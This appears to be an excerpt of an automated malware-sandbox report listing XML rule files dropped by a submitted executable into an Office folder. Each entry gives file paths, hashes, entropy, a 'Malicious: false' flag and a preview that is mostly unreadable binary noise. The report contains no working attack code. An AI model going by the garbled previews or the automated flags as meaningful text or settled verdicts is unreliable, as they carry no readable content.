Preview:	<?xml."....oow.~6t.X.&^.1s[_..c..e..%.kC+!...>..G%.}...8&Y9...^.i.._..icj.X.....k$.?D..H.G..h".$."[M,...z.nJ=..6.!.sU).;..E......N.\|...G.......jc.?<.z.F.5%8Fh.......s5h...l..`B......\..\dI9..1.%......8.9....\..d....;...k.......O...p^.d..........Z..Wo.C.z. .Y...Flk..,R.....X#.%d{i.#'r..Z...~.K......hv.u...>...uu...p.I.....,..].zgl..)w....... .u.l..2..&..?n....6@.S^.....yy..}.nNY.^..+..h..-....BB...A6....D\,.@.H.#....>t.....7..................H...9.T..f.m.V+X..\....k.H...p......(.T..#:j..K.....#.B...gN...u@.4.$....IHK..2.05qV^..G..Ts......%.sIG_.40.-B.9Fj .{...KE....d....:Y.@K........A......$2....[2...?.{^...;{..'.....<u...0.!l....\|f]T5J.R.T.q...'...W..Jr.t."m...~k?f.`."HW.......?~V.....E......$...6...qz.... jKE....S.C.Y.]#.:1d..A..J.....L.A. .:}.:.R3<....Qts.?.......\|........W.<.kz .2..=.y.\|....iBgX...x...sUZ...tG..........7........t..)...Y.. ..a.I.z}.....)c.....3.re..e.z...........aD.%..1y.GD}U..S%..x.K.ur2;.....8..~..2b...w..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.861355369366952
Encrypted:	false
SSDEEP:	24:OpkDV+kSgm76IU0lwRqzjyKN5p60mOHoXXZEQx7X3a6cw7tIk4J+h/fbD:G3gm7VVyRq7NL79H2ZnDcwxIkE+VD
MD5:	7ABA34725341CEFE61D377DC35B724D0
SHA1:	6043CE9EABA266F5638EE9B1DF170A88519F1F60
SHA-256:	D278D7AA34C7538BBBD3835629A39EAEF22D9AF66A9EC352C4548ABDFE170408
SHA-512:	982454BECBDD16F280BB9673F3690F1F406B47B8E66715BE1B407ABE9F233A57A92BBDCEFE0125485419A60DABCAE8F5654B86F97187E6C9A0D87DE00766CB70
Malicious:	false
Preview:	<?xml.......n..,......a..#.U0..H.W...h.d.#......{.B<.O.\|j....>.q......$.>r. ..q.2c......P..W/.....UisuZ.C(..j..93.....s....MD.....Ly..W.F.~c<z.G].21$...j...[..US...}.2w8.............^...9L.+@....l.&.g...7.y.RS[f..C...b{.I.F).....6B.HN.bo....3~.?..Oi<'DH.p.n....CL..B(.OP....W.......\\|...AT..[...=S\R~....k..a...U......f#G.8.......c<#w..G...P.'.F....A.......$..g..su.'..Q.I.Y.......h.IT.s.I.i.d(K....F..W.......6H..n..[FY.{.KVx.^K{5wv4....G...e..0.}....r.2..S5F..J...).fPye.....s.<.;.8....jl.}W.& ..d..Nz.j...O....8"8bo.`.s\.#!.B...........L....GIi..E...B...#....`...\|....W,.1........1.B......E......m.F.cK..\|...R...T\|.N.9U.+..\...t.> S...H.r...$%yIf..k/.4.}@.D....$......A_C..j.w....!..2..qS..C-.}vU....@.7."Sx.....5=..N.D.k.....h.q.l..g....../.H..B...4..aL...}.2.F<.$......./.\.....^D.........jV.k..;oQ.Y(!...hs.Dc..:.nmn..[m.7.C.&....P.)....O%..T...)..%,....k.5..z.mK.G......Xo{.H.ge..U.ef...W........".......M(..g....mm._....F....o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.9401935941774795
Encrypted:	false
SSDEEP:	96:WK7XySOfYJOH2x3VEJe6tmfGNr99cHlTJeR:r7XHOfOZx3VEQvfG7yoR
MD5:	0275BF529351EBF8896CD758EF63249E
SHA1:	25113B4A1376843E002220EB8BEBBB387709B2E8
SHA-256:	0956B9F64E5812775301508AD688B62CC38D39B8DF8100F3884021935AD79236
SHA-512:	D15A8F604B6B1BD918367F183754F62824FF2EDD811377B6C788D1FF984C340E9AC5DEF062BA429A6DCA1CFFB0FA5ED562584458FFC62540AB6C0D7E227CC0DD
Malicious:	false
Preview:	<?xml...Y3_.y-U......0....I..18G..\|O........T.}....'.tK+..m.....^..rM..JT[.5e....v..5..V..8....`<..... .%)L..8u0...s...E..x{.p.}S[G.....ss.DTw.I#.n7..5H..".55..\|<.2..z...i..........$A..fI..:.{e..?I..e....l_.}@=x.....\...g..;."...j.Xnb.!Q(.. ...L......]xm@48.9.."H ...'GU.......<.....?.B.G.a.)).NX..r_`.T.....0._A..P......g.oU.rPh..D.u.c]....m.A..hG.4..S...s...o....)......=.zJ.....Yr.m1.OC...)@...L..~XK...y3....4..%......O......AqD..m.........rU7..l....5.M.....b...&6...........$l....-m..........{.N...4K...+.6.M_V...s.N..D.2V...Yji..,.[A.}..n>..Gz...!f..H...w.a..@..5Pm.x..U.u0... :.O*........iB.\|#V.._..;\.y..Pj..}...D...A=9.w.3................d.O..j;fs7^...C.\F..+........k...^M.....U..G.L....\._...S..5T...{..i...A..c...j`a......]....;.......D.........:=\.86(.?..8"...05\x..q.......6s....S.G-.#j.h.9U...~3..$mk.).....q{y...%B.)..........r=._..!A\>....x.XBK...t...zj..3L.vnL/..1..#..x.........w.u`m...O.l....[x....@...OSE.n>\|.g..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.909258564810011
Encrypted:	false
SSDEEP:	48:utqBECH2n50jnG+OWsvkVe5bmMNXLcVl1F81IrD:nBEq2n2nczlm0XKuIH
MD5:	C586F85DCE2DF1E4D45A33C22CFFE085
SHA1:	D699CC35E09D3EC20A5C64DFFEB2EFF1D184F0AB
SHA-256:	90B5C5C1051F725A7E024CF550B5F8F03CF2B797C363F927F2747DC1B78758C9
SHA-512:	E42F1EE7912F93D43A9F874F698D7C644B26414A2BE454D29C05BAE642EE9B5DB58DC7EAC4242B3C7A2B507345D2CC3688E3CD4CA828BE00BC54B48355601159
Malicious:	false
Preview:	<?xml.H..V.c.O...I..T...9~......d.t.zj7..v.......K..?..4......[c.Ww7.....~6.6.gCa.T..Q....9.p...XV.DP....q.-W../..u3+..&..z.]T..!\|..ZZ.H.I..v.".H.j........d.....r].8...}..}....;x......-.I~..Edj. ..c...\M....M. .7.20...!....u.^.y...^<wq~+..%F..."..d..\.[.q}....\|.i.'<q..NY.py.4[Q].A.).Y}.b..a....J`..7.....M...XU.n&..~.8....L..?..E\|-....M..."....G.-S....p.lD..n...l>..I...z..Pa..Q.%.....,.....}PJrqB...r..ZI%\p...)..wR.j.....D.>...G..F..r.\#.% .)/'.4.=.<..3.Z..6..PP.^..".F..T...C.G!.p`.0.)!I....\|G.++.tD...yRE..P..8...@.A....&.......j{.,l.We........O.!.R0P.].%.9.$./.5...aA..>..k....0.l..........+.lT..f.VN...y.D..).a....$1v.m......Z.DY...q.aNw+;&......"f.l...5.......m...%Q.....g..6...e.Z..q....!..RM.....@....;....d..^2O.H..h\|(t.3.....V8F6..W.?..\..d.X..SC<t.$.$..#......V...4.#...:_...K..,....3..~3p3.I...m...-.$.J......UF..#Ma.w.....n..I.....@WcM..P.\.r.};(q3..G...3....Z...k@k.y..(.bd..mD.._'..v.(%..m.>..z...L[q...5'y.ccH5.m.:K..A.......$..eP

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.973534136807718
Encrypted:	false
SSDEEP:	192:RCxgQnOM9ZDTm5lIR1fFWmEKfpyhu8Pd2P4SSDP:R7pcTS5mnp9Piz
MD5:	C25217789B302B87F46B44D4893917E1
SHA1:	FAD65C20A60832FC81EFC99C3EEA353072392770
SHA-256:	8107D997E92FA65202F68A391B68BAABA88C373E55FDC2C4744E08333C01F817
SHA-512:	A6A5AD9905EC4FCD21376745DA8B5706C48B904DEEEDF24DCB3C227F11CBADBA82E82F03D3F5C8DAC5B8067B96E38287C51861BDEFEDC7D97F82B2AB267C38F8
Malicious:	false
Preview:	<?xml.K....>.1/.V5d/.....'.......1.`YF..........\|....-.....>..}p...U.d..bt..+[..:...hl..fs.w.=. e.s.u..f..a..5b.~.....vQ.. W"?.m.EV..<..~&.b.....o......S.....(}.>.X.$..y.S...J..N.hE..2.NJ/...J.RK.~...]b`@.mn.j".}.i.r._.$...T........x.."2......G}..i.....`.m..t..Zj.;.4..y5..S....]s.Lx...)I.B...&........K.%d...;.]....Bi1;W...2.af9..Y...[.Ii..y.i..9...x...U.L}..`.......>0....B..q...1..@%h.\|.Ug.#..B...o.;w...\.......+.s..Y.&.j.......B.....Z..n`.Ko.......k....(i+..+..c....o...3.Z..Q..3#.#.P....?...?FV.^\+.4..4dI@.....V....p'...t.I..=.>..y.`....z...`..$.Q.V.I.u.p.9.Z........H....pmI`"...e.h.[.y.......4R..;..%@...SH.....<......."k.%B.d2..5.............. s7..~1.pZ..l.Ds@ E.n?....x.....c..-...g]B..".2.K....B..._..e ,...F4..-...#.BV...%e.~..t@Z..X..'U...!DY..Q..(k6<...7.Y.O]X..#...."K.3Uh.F.^s..O.:..y..c-.Z...(v....\|..(...#.....kmrl..{.\./7~k.."..c..]......3..6k{$.Z'M...C.._..4..fui.\|...6.l.X.1Z._.{...@....b........#].A{..}.....{.Ck...2.U.X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.960248262907563
Encrypted:	false
SSDEEP:	96:07mkwuHp8T1phKuExai2uV5IPnlpxCLULDVol3FpK:2mkMjUuEx22IPlpNV418
MD5:	677C7B580570FC3FA383E11E7EBF4136
SHA1:	F7DDD9CDC69455A3831F9DB830B806946191FA43
SHA-256:	DD3731B8A2333C39B5DE73011BDF62BD56F4716F0F60C9B8308D8D12F06B1480
SHA-512:	6D26FFDC5C31156FF63F72000946F87DA41BE1B02CCAB508468632E220DE8B4D747FAF7303A5E20EBAE2E96A0F8F2300FBC678724C49D96758AABEA2032D2087
Malicious:	false
Preview:	<?xml.../.5.s.).......2....~.....sG.....c......w....YA7..;..%.T..Y.L.2...C.Of...)PN....TI.ZM".}.ev&.)&...x$. .P......w."..6....../..j...t2. @6...xKs..Ww6Q.7..C.T...-..(...9ucJP.....ON......z..1......h.1O..'R..@0gU....j.....R<\|k......{tF[b...j...R...k4.w(XC.dR.{.`u6L.K.m..C.L...n.=../.[...Y,V ..E.eo...&g,!....$.q++...W\|.2..+......hH...;.......!s...;...".a..p\|..K.=7..n-.... .tT[..pmc..;74..S..........M..y\U.Qc.-9...w.......F..4...e6....#....^]n.._re.'..C.(0..gW0....1._.m~.H......\|Fv....X..{..j#..X...yU,..&?.-.y.C..g..nb6.py/h;Dy..r..o.o..!.......:{...Sk.....}...'..@..9/&H.h.l..,.'..z.9....<.....y..+.>x.v......is...]k....P2.....s=D..U.1:.h...f...&8?..N1m...c.r)4........Q.{?pB?..>.B.d...%..A..!`y.>1.A..^b....._...\.......aS.....Cw...P.T..G......+...2..8.........L....S0j\..6....aX....X..N.B......y......E6..!5..K...b+...2<?..e`..Nc/......Y5`!F..v....U6..A.....}._.x.U...QA. .t'.4op.n.6=#.......>E..y..k.lU.S.>-m...y.wJ..[.#h.....\|.^.].F.J....{..64k...m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.954711480334165
Encrypted:	false
SSDEEP:	96:9yGj7Jhi8X9dWYdxMDlcW1lJt9Jp21vprf6J/uJVIl6IK:oGj7Jhi8mDPb9JpgB6J/uJ1L
MD5:	07154CA60EA829D298F455E2A9DCBFF8
SHA1:	AC92CC10A170D060F9086A2300C0AF856F5747FD
SHA-256:	321DE3E2319AC39193F0AC792FC5D4FDFEB5AFCB1E71A3D1BDB1AE8291B74A95
SHA-512:	C7BB5FBD29A8E25670DB4BEB790D4D3E82D9DD9E32B5111FF5F854994FCA0C2FE467CB7163D9DDEE715F85BF312B0978DC90441A634FDBE372E2D5D64EB10DEB
Malicious:	false
Preview:	<?xml....p.o.`.dqL6Z.)..:.5.L3.XB..T.......8G].B..b....f....L.pI..iB....."....<.v.X.....k..)n....\...s."h>.7..1"...d....U.....86..#.\|..\.j..H..a..9...Pb.9..#.I....q,...x.@k....0....O.L9....Z4.>..7T.............g.H..{....7.....L6i..E..\|...'@.l...`)N...R...N.[:. cjH.<gX%.....?,}....H..}..5c.)Q'.5.W....w..$.P.q...z..`)......SCi.u8.....Y.].........fp....F9..'.i....?Wa..K&....o.%...O.CN.H..[.D....kI)...;X.T.......27.,[?.....X....Cf..P. ...K.S7.....Y..6...Ee..lBG.g.a.....LlR....u...%.G...n..?.....8.....3.P.Jw5t..^."[.?..F..'.....&.m.t!a.f)N....4Y.9oV...........z...U(.Ip.<.U..D)..6i..P....* .]....4..F......$sF...+.[..#..f[..{...v..G&....3.4..<..;+.#v......Qp.R}cx...P.Dv.?...kKC..mQ.q{.$\|.@...a.g8:.....M.......,\.}...L...M.....k.\|...].$6....*.q...7._._E....4M.~ ..fJ_...Z.@."..1..(2}..!1.....y_.$....;^....s..../.h.M........d"...A2.!.E....]...I..N.Bl...].+.2ut~. ..u..._Q..(;.7....R.w0..s..a.B...az^..LH%...x4.a...bE.<.l.a.\.....2".....`......J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.930822049980702
Encrypted:	false
SSDEEP:	48:F2PX114umbaPHtAKCA6+ELxxvRUHxY3wj/bKThufwNzyiZSkov9vlf2pimyRmvHH:IxfPNyA6+yxvRQY3w/KThCwN+i/ov99c
MD5:	79C6D4489C7C777B6D8118952EACA131
SHA1:	4A3E55FDB01B4584DE94997EFCE8673A5B5482F3
SHA-256:	5834079086525D1B2029E9B62FB8BB4670D827F91B37FE969EAEA85B1E4DC874
SHA-512:	CEED38405EA33C8C31D17F9A2259D165BFF8951454433D304CBD0D520776153B1B6D7EE7737A2DA7D60E2B6B7E6EA8DBE523C0A05DF4EA32A483DE32C9A70722
Malicious:	false
Preview:	<?xml....[X....e.Q..w....U..b.6.:..%.W0.}.H^..l..(0......!..c..R.%..g'nm...Q-f...^...O......^....:....!o.(.../..w..........&5/G...b\|....Qo.ZIo"J.7......P...v.i...B....I/.2..t..l.^.oh.L..'..BWy..(.v(/.\.@.9..h../#...?..U...p.............A..W.u.......h0..^.c...I.ZB9k.[.....`.....nw...SP.B.$F.D.n......P..@..y..w..jK7..~.b..A.....+ia!...@.J..2..y...HC.Y.6B.x...t.X.+........uQ.E/..'.......0H.L.h..N...........^`2Y7%I...u"+..g..R.XEp.ou....AI..z......d.....I2.........@...V..eb.O.::..$Q..X..;.bEv..........\|K...P.U5...m..$.....-...9.P...P.?P.M..P.n....W.....e.`.i.I..._.F>h-P ...s9.a.y..}..Wo.F.%.D.........n..B.K..G...U..mk.oz...V.]!~S.....1....t...'@..9.y hg.)..l:..(.E.2f......\|..~..!9...:5F..D...OoY(.>.zB..j.....G.+....sn.~.j.G.E.....t.7"}.r...#.h.zt.z....jm.V.vN...B.<E2i..R....n.@V..x!Aa.R.,.e......Y...B.2Uui..</....vC....o.......qF..`..$...+..:.!.....)..1i.EC.[,...[...E.]..s..9....v..'.]<+...j........Nd....KL.W.E..4y..."e.#s.&E.z`y?.yL..X.Qz....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.969106354148505
Encrypted:	false
SSDEEP:	96:vYTEbkK4jgSHbb4tDijiEPiIlSM8Rg8775UwkGtlZy+mJCwMTJC/fOa7t+QBfb4Z:Rk3jZPgDaziIlSlRr7Yq3mJCwM4/Ga7I
MD5:	8B85FC2162D96E944F3672B3B905AA3E
SHA1:	D0D4AE67B648B2C322AE3A35A5611B43591C4340
SHA-256:	F252453AEB7E32A003BF08728B5EC2823410EBB203CAC6530B78263BC7AC3030
SHA-512:	2331B9442770B4CC1F4588D8D524F6AEC84E1980C77D81D1D6BB2B5F9876F5D4FB3F7E72FB656A65850281F16337766EF9F460BF3AA1F3C3A9013F9CB9D16F88
Malicious:	false
Preview:	<?xml..L}...7.=.E.\|...=..^.A7../{j.Nq.Z...X.A.F..>....K......0g.".1..%S......C.uYsk...\..{I..D...^?.pp.Q....B2g..l..!.=. ...7..\|;.A.\|p......P...k..{.u.5$p[......VS.}..Il.<. ..K..S.a9a.. ....+...Z...e.P1c.\d.)7..x..Z.]8..ri.I.sW.>..8bu.]1e...PX.W...l..o..l;#.{7....4....=..S......r...i.....t..G.3.....~...........-..:..MK.....hSt...o#..u.].g?...m..L^P..5c.%.R.]..k...R.;f..=.[.vh...t.@T9..`..4.~._g.........xz.a.'..-.C.o......e...N.....'.-nkz0.f6....}....ND.Y.4.....}).c......G<......r=V.-kq.Ps.4+...&E.a....VG...).wcO..Vc...)..h.....:1].....C.Y...o..E.$f...#I....v.&....L.#..6.2_..;tt.l..&..N{. .bI...!P......H....wc..B.@I..$.R.$..c.h....#.N.x.....(......zl.w..!N..R.1z=....j.9..YLG~.W7.l..-.z'.)..-.4w..f$..h>.m.L....6..$q..p..+.g..e.c....7yW.k.~\|..r..."6{.hu....g..g}\|?...+....#....&.....4&.>:.o..T.....6iE....K7~=U.....o..Y/...u.l`....2=SF...kM#.o.EC..3.2..LM.....S:p../..a.o.8....F.cc.x..^s....!.....#..c..!$3;..JB..h..l.C7.\|G*.H.4...N......./

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.897992561707662
Encrypted:	false
SSDEEP:	48:US10o1qRSAWcXE4ngeYnpT0F3SqTTeD7TzJx0dkbIcXyCUD:US1AXop4FtTeXJy6Ik0
MD5:	1AD7506249B953F5D30AF7C454AF26D1
SHA1:	F41A160BADC8409C6DF93E5E22162BA91C34FD62
SHA-256:	5BC9E517D0B8A7A6A3071874F7795892B413E5802199E6107E46C07F6C561390
SHA-512:	6B82B013C082A88E23999E8E6A0B9E56975A02EE71192E8BC484AFA556BB9A4D88BA9B510BEC40810D2584747E7310AFFF65C57711DF791500CE08A44174123A
Malicious:	false
Preview:	<?xmlj._n...?u.q......?..u=x.K)...8......6..z3,`.X..........c+e.<JZ..........@.....;..Xh.L.O{...M.....!o..F..L5yi.%8.Bg...AD.+...l9....4.....sF%....K.Y.K.H....2wA.8.0.%.........Q.......Mj....._..=.>....g........O~._%u.98...<....>../..A..#4.....p.(.....p...0[Q.Lz.Gi.Jg....]R..t..s...y......=G9..'p....\X..4~....e.,..4..R.&.u.a.S.1.r.~.pl.pC.Q.......-...P.@Bq......X....,.U&V.=.4q...(vL.K.....G...1.T-l.J.........h..R.?..z.._?%Z........k.V.9$.q..v......^.W.....&I.@..%........P...........r.=?....].nT..$.........u.M..^...6..].....c>.@.3i.tT"}....0.r[.g..L.='.{..Y.4o(...b..?../.cB....I.;...J....svGB_3.........4.x.P...}.&p.$..h.......1M....&R...J.6i.;"....?`....MR9`..}II......y....".9..2AQ....=...I..\|vQ..P..1l....o.iFu4\..b.=.[.......P....az0.../.-.i...".w..&0...b.../.f5..m:.B...\...E...X..r......$....a]2.`. ...*......`..k..W+.)..N.......m&.s..Z:......;.........n..VF....y...^.....y..#...6A=dH...4%mc.uW..N.R....xd<Io0..=_l.h.+z..{).S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.792743745912568
Encrypted:	false
SSDEEP:	24:oIbTS8C6am8rvp8MgM2z71Uqdq+oYkcc4iAkSovMlbD:Fbc63UKW2JobcOtvM1D
MD5:	CCA2244E8FF89CE7E8E5B52FE4647124
SHA1:	80A30F8CF046DB7217C81FC0F7156A753F0E83A8
SHA-256:	11333C1C82D54DC1176C1BE8DA6BF83805FE9107DD20C16E25C2B04A7C28DF83
SHA-512:	7C85AF5D09F89E986CE956FED90130B9DD94CD393017C1B0446A2DDEB9E37C7F7E34E2A03B1F63558A7AD31991B1344BA594290908F74C0B7B62A9ECA4E1D8F1
Malicious:	false
Preview:	<?xml....S.L..^...U^....PT.a...W..7f.pa.....if{..9..zQT`Z. .L>...@\|..5..;..w.$...Y.7W[=s{8@......._s..........G...I=....A.TJ...6z.r.....}X...z.z.+..@.%........5..:....-u.....6.......t.i/....y"$..]Mm...xK..a..o.o...........UO.(@.&...m.U.....I..p~...U.Dl...wbQ.>.u...pL...>..c...>.hwO...B.P-....vd.]...2..@........\|...en..@.2m..(X..S\|.~...}..fy9.e.M8...7A...`.....y..D.t...C.+......0Q-...5...{&T7..3.uu....,....d.pN.8H3....wbp.P...=.........fo..+xH0gu..B.}x...K.....rJ.=Jq..K.Gz+;...?...Ro..s..v.U3n..Y..h..f..c.S....^.Y....Fi.u.....G.....VPmLca..-.58$A....$..M1.p..&.F.W..3.&J...>.%&..J....Y....".q.y....G....>/.R.9.7....~.....zN..:.v....N....J.P..........I~m...E...}X...<.N:Ew..."^...q^..#.J-..]~t..\|.k........u...i.../ot{)_..J.....&..?...L?...<F.....?..ng_.c%.X..m.`..]_..,.XN...S.j`...;..`..%7..XZcc.m./@..M...P^.#.S...D...C...b...:h+<...U.[M8...kJ..P..%.V..-.....^...]'..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.936156786818757
Encrypted:	false
SSDEEP:	48:5AhRIz+lh8YirF2G52/VYhPf+b6SRG5CJEC2NIE3OSpFhJQWGviJ5eD:CAo8YeF2VYhi8OrwIEpnQjqm
MD5:	425E6D108944D4DE5A3337C81FD36609
SHA1:	6E42ABC05269498440167E427943E9CE7ABE6F69
SHA-256:	EC944E6316EA1D95A541C0B0B1560ECAB831A96960ED5F840B60EC6CFD9714D8
SHA-512:	DE2EFCBE94F9F5DD937D314BF44AC8CAEED47982168099559327D1DD6B61BD3A92108102380DB6A84B6483DB9D0A9A1C7C8F7806F72F12BF389A19556C350C0B
Malicious:	false
Preview:	<?xml...Ad.A.2..6.s-...&........[. .E.{.(.....X.......=....7.vk..S.X 2../...........2[..r..VN..+m..DA.f/\.Y.'..mo.......b5.p.\e....s.......9.....I.HF.Y\|....N........O.;...6=.E.....8..M'$}14..[.Q..=.%...i..Pe5".........N_.`=..,.~.$..#"C..5oBo.Nd.....3....\|p.+G.\C.."....,.r.=......O:A-I.M".p....W.........a.....%..d.....r......+s...l"..'..f.:..\{..kL..y....(..y....+p.)Re.".....u5......PV.Y^S...RA$..1e.M.(. .K....7.p.S..P6m...2...M....&.z........t.....Q...gm[....c.....E.[....6......j~...b.....^......u.@.'.1..'.r.....`..O.6....%.l.z..e:.......+.r...j`....>...\...g.n'VD..j.7w"U.....,.X.$..t..6....z.c<..B.?Lky...>.........a...!...r..?[.k(<.`.`...>../..h...P.....2=.k.1i.9...!.m......I.N...m..FQ-.<.....bZ.S....F.{..>X.3....Xt.U.+.^..G..,......_^..nU.....W=n..............:.o...T..S{.cU..... b.l......)n.9......9..N.....n...q.:'..(..W_...a...>!{...B&...UQ.N..>...Z..B\...U..3qm.t.#..@Y:...Sp..P..KJ..3.....194....J....!.p.+G..P.h^...@...YE.+k..I:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.98256576661505
Encrypted:	false
SSDEEP:	192:I2by3WeKAK8PHFJrICM4fNR88M+u28cZsfNN15qHjjV7Q:zWmeK0bFrN+8PubxN6C
MD5:	18D9FA4FC3761A261FBBDDF7B791A445
SHA1:	449646336A8D9E97FCDD01333DC4298C36CB553B
SHA-256:	BCE4F560329423C4F9D3B1E239206DA366FF3686C0C4CEA3A16F330E55607998
SHA-512:	F47BB85C0899756211B99CB13A3D3E711A98C910AAC4509C569FC5F86514501295819588C189815EFD79BE1699085DB3CC3404D5E46AE09144DB24BE09DB3228
Malicious:	false
Preview:	<?xml..-d.O.84.z..e[.v..&.........:IH..nDn....vMDG....nR...B......h..=.e......5.Y.H.......%.a.L0:./.g.?ZJhLw.+.LW.d..'......0....=...(58...?.$..'P.P...{....s..u...`,.... ....>~.a ./x.;0.....C.....t{........J.>..#..?.{..lw.&..=>X.AT\8....Q.:i...(y...M4...~B=.........Q{F.;3..ir.Ms.{.Dx........}.B.....k.L...j..d..6.$.sI!........y........4..A.I....a.s...+u....`O%...z?..iz.....,m."+:..0..6.....f]e.<.l.A.0..({..a..<......BN.BN..D\.=c\|BOZ....SMh....".a.....-B.F.4LN.J...!.:Wo...L...&0{..).&@gd.o....(C...y.hZ+w.M.9CC.#.....M.B....'._.........?....E)..A....83W@7..Mn.6.?...7.../..J......."P............{..]....v...h\|w.9E..?IF...%b..@....:.!...]./X.Nx.=@..A...-6..(.@..c.0."h..UC....Nh..W.h..-..%.3..t.U.q\|.G..X....{2`~.K.....3.8S0D7..`.8....F.f.....^#..e..O..m..8}!'c......BT.7...:Xi.....B...;.-. Q]....4..N.7.".;[.'...^..AU..!vcl%j...N~..([\|.n.....x^.......kf.b=..VQ...s.lv..~Q..,aL.8.9f......3O....E.!...\|...$TT..z@OU..j...E..e-{.....r.5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7234932586190865
Encrypted:	false
SSDEEP:	24:lbMvYFg1eQNgzizJpg79yMf7OkRM4sm0pWbD:1MYg1tgzoQ5f7OkRNQpED
MD5:	1AB99929C86F93E8C7E9FC4301AE83F9
SHA1:	8FC8CF749014FDF49395429299B1E61440196329
SHA-256:	8B29E7ADA725B2EE9E617AD7521930F6EEE2A802C1D36CD5A0F677A27F4CD084
SHA-512:	5C871A67D126E3D8A471243C54E1EDC18BFE4F2E8EE91C0342041BEEA9EB248D41B164F5BBB0DE489BB1FF395BCDBAE510AC0D693983334865744A2FC6C0C19C
Malicious:	false
Preview:	<?xml.....\|...xc.ZT;E4..K+dx..cZJ2Y.Ew.R.. D.X....t....5....[.......q.7.!%..R.j..Hf..U.d..$..l#..2...v.?tp.#<.N..:...n^I{..-..{....b.p=...u.e......m.K....cTBr..AC..\|...J...tt...O\#....,...`.<.h}o$..j...mC..p=..+....-...L....;..l.#]`.2......\|.G..\|O.S.M@ ..1..q..(9.....4.....6... e8...k.8.Z?...J.;e8.....ZaEW\|.c.~.....9..RPa:I.....V.S.w.:.}...c/...E......hO..me.y..l1e..l...(....p.....R......B9....q.Da..n.$...\8H.......1f.68.AN\.C.F..$..8I\.aI......?....Np2..I..z.4C.....)......?u...'..j...T....l.\T.9..9^?Ir>.d..}.PU$.XC..B...#...Rm.]...;..L@...,..%0..........@JKZ.KW]............G.......(.A.4..4N..vLF.2..kZ.<k......z8.jI..t...m.@.Z..%.n...\.n.TC..=.J 0.r....4......#....0..}C".u....A.Jh.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.679677049784483
Encrypted:	false
SSDEEP:	12:w+l1VUWaKpZDFjRMc5XX6yo2GRU1QDMHg22vxF5S+/vu43LsEMxaAZ6DYcii9a:w+lnlZZDdRMc5n6SG61QK2vpZnh3LMx7
MD5:	1A0ECA747971FFF2C63E92B88FF9C29F
SHA1:	66182E2B5E217C53653077E75FB2BDFF6C969DD1
SHA-256:	3414749BC09BF682E304F94C707A50AB903CD9506E47EEEECCD44C1F9D75D2AC
SHA-512:	948915ED682F25A94E627DE2CAC3BD8E549EE049FE8A975818E1E92F557B172C38491165C76D3E5C15ABB93750FAE20C6874A699445224865893C54C9F7B378F
Malicious:	false
